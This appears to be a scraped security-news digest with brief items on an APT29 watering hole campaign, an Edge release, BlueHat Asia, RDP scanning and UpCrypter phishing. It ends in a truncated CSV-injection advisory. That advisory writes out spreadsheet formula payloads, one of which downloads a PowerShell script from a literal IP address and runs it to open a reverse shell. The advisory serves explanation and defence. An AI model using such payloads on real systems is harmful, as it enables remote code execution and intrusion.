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Amazon on Friday said it flagged and disrupted what it described as an opportunistic watering hole campaign orchestrated by the Russia-linked APT29 actors as part of their intelligence gathering efforts. The campaign used "compromised websites to redirect visitors to malicious infrastructure designed to trick users into authorizing attacker-controlled devices through Microsoft's device code

**What is the version information for this release?** Microsoft Edge Version Date Released Based on Chromium Version 139.0.3405.125 8/28/2025 139.0.7258.154/.155

Microsoft is rolling out a feature that defaults to saving your documents to the cloud. Consumers are divided.

The next chapter of the Microsoft Security Response Center’s (MSRC) BlueHat security conference is fast approaching. BlueHat Asia 2025 will take place in Bengaluru, India, on November 5 – 6, 2025 and the Call for Papers is now open. Submissions will be accepted through September 5, 2025. Now in its third decade, BlueHat is more than a conference, it’s a community.

Researchers say the huge spike of coordinated scanning for Microsoft RDP services could indicate the existence of a new, as-yet-undisclosed vulnerability.

The chairman sent letters out to companies like Apple, Meta, and Microsoft, advising them not to adhere to the demands of foreign governments to weaken their encryption.

FortiGuard Labs warns of a global phishing campaign that delivers UpCrypter malware, giving hackers complete control of infected…

At Microsoft, securing the ecosystem means more than just fixing bugs—it means proactively hunting for variant classes, identifying systemic weaknesses, and working across teams to protect customers before attackers ever get the chance. This blog highlights one such effort: a deep dive into the risks of misconfigured postMessage handlers across Microsoft services and how MSRC worked with engineering teams to mitigate them.

Plus: Google wants billions of Chrome users to install an emergency fix, Kristi Noem is on the move, and North Korean IT workers are everywhere.

### Summary Description: `CSV Injection` or `Formula Injection` is a security vulnerability that occurs when malicious content is inserted into a CSV (Comma-Separated Values) file, which is then opened in a spreadsheet application like Microsoft Excel. This attack exploits the way spreadsheet software automatically interprets certain text patterns as formulas or commands, rather than plain text. ### Details A basic test for CSV Injection is using `SUM()` to add two numbers or open calc.exe​ using​ command: `=cmd|' /C calc'!A0​` The same method can be used to run arbitrary code on the victim's machine. For example the below code will download and execute a malicious script to create a reverse TCP connection to the attacker's machine. *Payload*: > This is our payload and will be used in the vulnerable field during exploitation ``` =cmd|' /C powershell Invoke-WebRequest "http://52.172.182.242:7000/shell.ps1" -OutFile "$env:Temp\shell.ps1"; powershell -ExecutionPolicy Bypas...